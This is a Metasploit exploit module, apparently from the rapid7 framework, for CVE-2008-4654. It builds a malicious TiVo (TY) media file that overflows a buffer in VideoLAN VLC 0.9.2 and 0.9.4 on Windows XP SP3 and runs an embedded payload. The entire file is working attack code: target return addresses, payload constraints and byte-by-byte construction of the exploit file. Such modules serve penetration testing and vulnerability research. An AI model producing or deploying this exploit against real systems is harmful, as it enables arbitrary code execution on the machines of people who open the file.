##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VideoLAN VLC TiVo Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in VideoLAN VLC 0.9.4.
        By creating a malicious TY file, a remote attacker could overflow a
        buffer and execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 'MC',
      'References'     =>
        [
          [ 'CVE', '2008-4654' ],
          [ 'OSVDB', '49181' ],
          [ 'BID', '31813' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 550,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          # From /misc/ version
          #[ 'VideoLAN VLC 0.9.4', { 'Ret' => 0x6a5e6710 } ],
          #[ 'VideoLAN VLC 0.9.2', { 'Ret' => 0x6a5e69d7 } ],
          [ 'VideoLAN VLC 0.9.4 (XP SP3 English)', { 'Ret' => 0x6a575cad } ],
          [ 'VideoLAN VLC 0.9.2 (XP SP3 English)', { 'Ret' => 0x65473351 } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Oct 22 2008',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.ty']),
      ])
  end

  def exploit

    ty =  "\xF5\x46\x7A\xBD"
    ty << "\x00\x00\x00\x02"
    ty << "\x00\x02\x00\x00"
    ty << "\x00" * 8
    ty << "\x00\x00\x05\x41"
    ty << "\x00" * 4
    ty << "\x00\x00\x05\x49"
    ty << "\x00" * 60
    # From /misc/ version
    #ty << "\x00" * (1024 - payload.encoded.length) + payload.encoded
    #ty << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
    #ty << make_nops(12) + [0xe8, -525].pack('CV') + "\x00" * (129931)
    ty << [target.ret].pack('V') + payload.encoded + make_nops(12)
    ty << "\x00" * (130980 - 4 - payload.encoded.length - 12)
    ty << "\x05"
    ty << "\x00" * 3
    ty << "\x05"
    ty << "\x00" * 1
    ty << "\x09"
    ty << "\xc0"
    ty << "\x00" * 14
    ty << "\x06"
    ty << "\xe0"
    ty << "\x00" * 302004

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(ty)

  end
end
